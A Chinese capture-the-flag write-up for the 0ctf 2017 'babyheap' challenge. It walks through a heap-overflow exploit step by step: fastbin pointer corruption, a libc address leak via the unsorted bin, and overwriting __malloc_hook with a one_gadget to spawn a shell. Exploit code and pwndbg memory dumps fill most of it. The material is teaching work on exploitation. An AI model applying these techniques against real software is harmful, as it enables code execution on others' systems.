0ctf2017 pwn babyheap

题目:http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html

 

0x00:运行程序

user@ubuntu:~/workspace/pwn$ ./0ctfbabyheap 
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: Alarm clock

 

 

0x01:IDA分析

1、Allocate函数:

这个函数通过calloc可以申请大小0x1000以内的内存。

看得出每次在最后会有一个类似的结构体如下:

struct heap
{
    signed int flag;    //标记是否被分配
    signed int size;    //请求申请的大小
    void* chunk_m;    //chunk的mem值
}

 

2、Fill函数

 在Fill这个函数中看到,并未检查请求填充数据的大小,大小由用户决定,存在堆溢出。

 

3、Free函数,释放对应Index的堆块

 

4、Dump函数,打印对应Index堆块里的内容

 

0x02:checksec

user@ubuntu:~/workspace/pwn$ file 0ctfbabyheap 
0ctfbabyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
user@ubuntu:~/workspace/pwn$ checksec 0ctfbabyheap 
[*] '/home/user/workspace/pwn/0ctfbabyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开。

由于保护全开,但是又可以任意长度堆溢出,所以可以泄漏libc的基地址,在malloc_hook处触发执行getshell。

 

 

0x03:泄漏libc基地址

原理:当small chunk被释放后,进入到unsorted bin。它的fd和bk指针会指向同一个地址(unsorted bin链表的头部),这个地址相对main_arena + 0x58,而且main_arena又相对libc固定偏移(0x3c4b20),所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。

 所以重点是能读到small chunk被释放后的fd指针的值。

 

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
 
free(1)
free(2)
 
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
 
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
 
alloc(0x10)
alloc(0x10)
 
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
 
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

 

1、释放index 1的堆


alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)

==================================================
pwndbg
> heap Top Chunk: 0x555555757110 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN {       //free prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 PREV_INUSE { prev_size = 0x0, size = 0x20ef1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x555555757020 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

 

2、释放index 2的堆

free(2)

============================================
pwndbg
> heap Top Chunk: 0x555555757110 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN {      //free prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN {      //free prev_size = 0x0, size = 0x21, fd = 0x555555757020, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x555555757080 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555757110 PREV_INUSE { prev_size = 0x0, size = 0x20ef1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x555555757040 —▸ 0x555555757020 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

由上可以看出新释放的这个堆(index 2)插入到fastbin的头部,而前面被释放的这个堆(index 1)成为这个新释放的堆(index 2)的fd里的值。

 

3、通多堆溢出改变index 2 的fd的值,让他指向index 4这个堆

payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

 

堆的布局:

填充前:

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000555555757020    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000091
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

填充后:

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000555555757080    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000091
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000


pwndbg> bins
fastbins
0x20: 0x555555757040 —▸ 0x555555757080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

 

 

4、改掉index 4这个堆的size域的值,以便接下来malloc到它的时候,能过malloc的检查机制。

malloc的安全检查:

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
    errstr = "malloc(): memory corruption (fast)";
errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
}

chunksize 的计算方法是 victim->size & ~(SIZE_BITS))

index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2,SIZE_SZ 是8

意思就是在对应的fastbin_index上的这个chunk 的size域要和这个index相匹配。

即是:现在我们把它放到了0x20这个大小的fastbin上,要把它的size改成0x20才能正常calloc。(最开始的时候index 4的堆我们申请大小是0x80)

payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)

 

修改前:

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000555555757080    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000091
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

修改后:

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000555555757080    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000021
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

 

5、

alloc(0x10)
alloc(0x10)

 

5.1 再次alloc(0x10)

alloc(0x10)
====================================

pwndbg> bins fastbins 0x20: 0x555555757080 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins

因为fastbin是单链表结构,且采用FILO结构,所以现在重新alloc(0x20)时,index 1的chunk_m是 最 近 被释放的fast chunk(0x555555757040)的mem (0x555555757050)

pwndbg> x/32gx 0x110c5115e010
0x110c5115e010:    0x0000000000000001    0x0000000000000010
0x110c5115e020:    0x0000555555757010    0x0000000000000001
0x110c5115e030:    0x0000000000000010    0x0000555555757050
0x110c5115e040:    0x0000000000000000    0x0000000000000000
0x110c5115e050:    0x0000000000000000    0x0000000000000001
0x110c5115e060:    0x0000000000000010    0x0000555555757070
0x110c5115e070:    0x0000000000000001    0x0000000000000080
0x110c5115e080:    0x0000555555757090    0x0000000000000000

 

6.2再再次alloc(0x10)

alloc(0x10)
====================================

pwndbg> heap Top Chunk: 0x555555757110 Last Remainder: 0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570a0 { prev_size = 0x0, size = 0x0, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

pwndbg> x/32gx 0x110c5115e010              查看结构体内存
0x110c5115e010: 0x0000000000000001 0x0000000000000010
0x110c5115e020: 0x0000555555757010 0x0000000000000001
0x110c5115e030: 0x0000000000000010 0x0000555555757050
0x110c5115e040: 0x0000000000000001 0x0000000000000010
0x110c5115e050: 0x0000555555757090 0x0000000000000001
0x110c5115e060: 0x0000000000000010 0x0000555555757070
0x110c5115e070: 0x0000000000000001 0x0000000000000080
0x110c5115e080: 0x0000555555757090 0x0000000000000000
0x110c5115e090: 0x0000000000000000 0x0000000000000000
0x110c5115e0a0: 0x0000000000000000 0x0000000000000000
0x110c5115e0b0: 0x0000000000000000 0x0000000000000000
0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
0x110c5115e100: 0x0000000000000000 0x0000000000000000

 

再再次alloc(0x10)后,index 2的堆块的地址就已经和index 4堆块的地址一样了。这里现在是chunk的mem处,等index 4被free后,这里就是fd 字段了,之后便能通过dump index 2来泄漏index 4的fd内容了。

 

7、将index 4的size字段改回去,让他以small chunk被free掉

payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)

 

7.1通过堆溢出来改变index 4的size字段:

填充前:

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000000000000000    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000021
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

 

填充后:

pwndbg> x/32gx 0x555555757000
0x555555757000:    0x0000000000000000    0x0000000000000021
0x555555757010:    0x0000000000000000    0x0000000000000000
0x555555757020:    0x0000000000000000    0x0000000000000021
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x0000000000000021
0x555555757050:    0x0000000000000000    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000021
0x555555757070:    0x0000000000000000    0x0000000000000000
0x555555757080:    0x0000000000000000    0x0000000000000091
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000000    0x0000000000000000
0x5555557570d0:    0x0000000000000000    0x0000000000000000
0x5555557570e0:    0x0000000000000000    0x0000000000000000
0x5555557570f0:    0x0000000000000000    0x0000000000000000

pwndbg> heap
Top Chunk: 0x555555757110
Last Remainder: 0

0x555555757000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x91
}
0x555555757080 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757110 PREV_INUSE {
prev_size = 0x0,
size = 0x20ef1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

 

7.2 alloc(0x80)  再分配一个small chunk,这是为了,之后free index 4这个堆块的时候,不要被合并进top chunk 而把他放到unsorted bin中去、

这时如果把他free掉,他的fd指针会被设置为指向unsorted bin链表的头部。

pwndbg> heap 
Top Chunk: 0x5555557571a0
Last Remainder: 0

0x555555757000 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757020 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757040 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x555555757060 FASTBIN {
  prev_size = 0x0, 
  size = 0x21, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x91
}
0x555555757080 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x91, 
  fd = 0x7ffff7dd1b78 <main_arena+88>, 
  bk = 0x7ffff7dd1b78 <ma  in_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757110 {
  prev_size = 0x90, 
  size = 0x90, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x5555557571a0 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20e61, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555757080 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty

现在被free掉的这个index 4的堆块的fd指针被设置为指向unsorted bin链表的头部,这个地址相对main_arena偏移0x58,且main_arena在libc中,相对位置固定,这样就能算出libc被加载的地址。

 

8、dump index 2的堆块读出fd的值

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

由6.2处已成功让index 2的已成功设置成index 4这个堆块,现在index 4被释放,这里是fd,里面存的是unsorted bin的链表的头部。把他dump出来再减去0x58再减去0x3C4B20

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ......0x555555757000     0x555555778000 rw-p    21000 0      [heap]
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    ......
pwndbg> p &main_arena
$30 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena>
pwndbg> 

0x7ffff7dd1b20 - 0x7ffff7a0d000 = 0x3C4B20

 

 

0x04:getshell

这里可以用 __malloc_hook ,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller) ,当调用 malloc() 时,如果__malloc_hook不为空则调用指向的这个函数。所以这里我们传入一个 one-gadget。

one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。知道 libc 的版本,并且可以通过信息泄露得到 libc 的基地址,则可以通过控制EIP 执行该 gadget 来获得 shell。

alloc(0x60)
free(4)
 
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
 
alloc(0x60)
alloc(0x60)
 
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
 
alloc(255)

 

所以这里关键在于怎么把gadget写到__malloc_hook处。

__malloc_hook相对libc偏移0x3c4b10  (__malloc_hook在main_arena上面)

user@ubuntu:/lib/x86_64-linux-gnu$ readelf -s libc.so.6 | grep __malloc_hook
  1088: 00000000003c4b10     8 OBJECT  WEAK   DEFAULT   33 __malloc_hook@@GLIBC_2.2.5

 

pwndbg> x/10gx 0x7FFFF7DD1B00
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:   0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>:      0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>:   0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>:   0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7FFFF7DD1B00

这里需要地址偏移,构造一个fake chunk,让其size域在0x10~0x80里,构造一个fastchunk,上面看出刚好有7f,合适的偏移让其在size域

 

wndbg> x/10gx 0x7FFFF7DD1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd:               0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:    0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d:               0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>:      0x0000000000000000 0x0000000000000000

0x7ffff7dd1aed - 0x7ffff7a0d000 = 0x3C4AED

 

还是利用fastbin单链表且FILO的机制进行设置

 

1、

alloc(0x60)
free(4)

 

alloc(0x60)   #Index 4

============================================

pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 0x5555557570f0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x71 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x71, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570f0 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7ffff7dd1b78 <main_arena+88>, fd_nextsize = 0x20, bk_nextsize = 0x90 } 0x555555757110 { prev_size = 0x20, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins A syntax error in expression, near `.'. fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78 smallbins empty largebins empty

 

free(4)
=======================================================

pwndbg> heap Top Chunk: 0x5555557571a0 Last Remainder: 0x5555557570f0 0x555555757000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757040 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x555555757060 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x71 } 0x555555757080 FASTBIN { prev_size = 0x0, size = 0x71, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557570f0 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7ffff7dd1b78 <main_arena+88>, fd_nextsize = 0x20, bk_nextsize = 0x90 } 0x555555757110 { prev_size = 0x20, size = 0x90, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555557571a0 PREV_INUSE { prev_size = 0x0, size = 0x20e61, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555757080 ◂— 0x0 0x80: 0x0 unsortedbin all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78 smallbins empty largebins empty

 

2、

payload = p64(libc_base+0x3c4aed)
fill(2, payload)

通过index 2堆块的fd,改写index 4的成在前面找好的那个偏移地址(这个地址相对于libc基地址偏移0x3C4AED)

填充后:

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757080 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557570f0 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty
pwndbg> p main_arena

这样我们第二次malloc 的0x70大小(这是包括了chunk header之后的大小,malloc()实际参数应该是0x60)的堆块是的地址是0x7ffff7dd1aed

 

3、获得指向__malloc_hook的地址

alloc(0x60)
alloc(0x60)

===========================================

pwndbg> x/32gx 0x110c5115e010
0x110c5115e010: 0x0000000000000001 0x0000000000000010
0x110c5115e020: 0x0000555555757010 0x0000000000000001
0x110c5115e030: 0x0000000000000010 0x0000555555757050
0x110c5115e040: 0x0000000000000001 0x0000000000000010
0x110c5115e050: 0x0000555555757090 0x0000000000000001
0x110c5115e060: 0x0000000000000010 0x0000555555757070
0x110c5115e070: 0x0000000000000001 0x0000000000000060
0x110c5115e080: 0x0000555555757090 0x0000000000000001
0x110c5115e090: 0x0000000000000080 0x0000555555757120
0x110c5115e0a0: 0x0000000000000001 0x0000000000000060
0x110c5115e0b0: 0x00007ffff7dd1afd 0x0000000000000000
0x110c5115e0c0: 0x0000000000000000 0x0000000000000000
0x110c5115e0d0: 0x0000000000000000 0x0000000000000000
0x110c5115e0e0: 0x0000000000000000 0x0000000000000000
0x110c5115e0f0: 0x0000000000000000 0x0000000000000000
0x110c5115e100: 0x0000000000000000 0x0000000000000000

 

4、改写_malloc_hook处的内容,让其指向one-gadget(需要多试几下)

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)

 

可以使用工具 one_gadget 很方便地查找 one-gadget。

user@ubuntu:~/workspace/pwn$ one_gadget -f /lib/x86_64-linux-gnu/libc.so.6
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

gadget要多试几下

填充前:

pwndbg> x/10gx 0x00007ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>:    0xfff7dd0260000000    0x000000000000007f
0x7ffff7dd1afd:                  0xfff7a92e20000000    0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:       0x000000000000007f    0x0000000000000000
0x7ffff7dd1b1d:                  0x0000000000000000    0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>:         0x0000000000000000    0x0000000000000000
pwndbg> 

填充后:

pwndbg> x/32gx 0x7ffff7dd1b00
0x7ffff7dd1b00 <__memalign_hook>:    0x0000000000000000    0x0000000000000000
0x7ffff7dd1b10 <__malloc_hook>:    0x00007ffff7a5226a    0x0000000000000000
0x7ffff7dd1b20 <main_arena>:    0x0000000000000000    0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>:    0x0000000000000000    0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>:    0x0000000000000000    0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>:    0xfff7a92e20000000    0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>:    0x0000000000000000    0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>:    0x0000000000000000    0x00005555557571a0
0x7ffff7dd1b80 <main_arena+96>:    0x00005555557570f0    0x00005555557570f0
0x7ffff7dd1b90 <main_arena+112>:    0x00005555557570f0    0x00007ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>:    0x00007ffff7dd1b88    0x00007ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>:    0x00007ffff7dd1b98    0x00007ffff7dd1ba8
0x7ffff7dd1bc0 <main_arena+160>:    0x00007ffff7dd1ba8    0x00007ffff7dd1bb8
0x7ffff7dd1bd0 <main_arena+176>:    0x00007ffff7dd1bb8    0x00007ffff7dd1bc8
